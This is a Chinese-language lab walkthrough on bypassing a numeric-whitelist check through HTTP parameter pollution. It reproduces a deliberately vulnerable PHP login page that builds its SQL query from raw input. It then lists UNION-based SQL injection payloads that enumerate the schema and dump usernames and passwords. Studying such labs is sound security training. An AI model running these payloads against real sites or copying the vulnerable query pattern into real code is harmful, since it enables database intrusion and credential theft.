前置知识:Try to Hack】HTTP参数污染
一共有三个文件login.php、hacked.php、index.php
login.php
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//disable error reporting
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
?>
首先我们分析whitelist函数
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
要求我们的id必须要是数字,否则就跳转到hacked.php界面
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
$_SERVER['QUERY_STRING']
是我们GET传参的所有参数
java_implimentation函数,是想要模拟HTTP参数污染中的另一个中间件的不同解析结果(因为我们当前的真实环境是只有Apache,Apache的参数污染时候解析为last),该函数模拟成解析为first
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
$id1=java_implimentation($qs);
whitelist($id1);
所以我们?id=11&id=payload
就饶过了这个WAF了
?id=1&id=-1' union select 1,2,3--+
然后进行常规的UNION注入即可
?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=1&id=-1' union select 1,2,group_concat(username,0x3a,password) from security.users --+